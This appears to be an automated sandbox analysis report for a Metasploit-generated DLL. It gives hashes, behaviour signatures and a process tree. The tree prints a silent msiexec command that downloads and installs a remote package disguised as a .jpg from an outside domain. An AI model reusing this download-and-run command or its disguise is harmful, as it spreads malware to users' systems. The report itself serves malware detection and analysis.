Analysis

  • max time kernel
    39s
  • max time network
    42s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 17:23

General

  • Target

    57ebc1be9d52a18a03f1341fe998afa8c54facc3d96c0bf80a201a80741d948a.dll

  • Size

    5KB

  • MD5

    f768a1ec913aea0915bcc20c17896be3

  • SHA1

    a362956664379ff9860a3c56fb1daf6e000220c4

  • SHA256

    57ebc1be9d52a18a03f1341fe998afa8c54facc3d96c0bf80a201a80741d948a

  • SHA512

    9fa8de6d9c4736dd0300e334137d3e60e42860f7b70dd452b35d515b3d7ebca0ef942d3bc65613d6be8e91a4f93c4c58b4e81d99649a9941cfafb46185f6dc9d

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\57ebc1be9d52a18a03f1341fe998afa8c54facc3d96c0bf80a201a80741d948a.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\57ebc1be9d52a18a03f1341fe998afa8c54facc3d96c0bf80a201a80741d948a.dll,#1
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1644
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:960
        • C:\Windows\SysWOW64\msiexec.exe
          msiexec /i https://dl.eqwauemt.com/Downupdatesoftmakerup.jpg /q
          4⤵
          • Use of msiexec (install) with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:1224
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1504

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/960-56-0x000000000062178C-mapping.dmp
  • memory/1224-58-0x0000000000000000-mapping.dmp
  • memory/1504-60-0x000007FEFC211000-0x000007FEFC213000-memory.dmp
    Filesize

    8KB

  • memory/1644-54-0x0000000000000000-mapping.dmp
  • memory/1644-55-0x00000000763E1000-0x00000000763E3000-memory.dmp
    Filesize

    8KB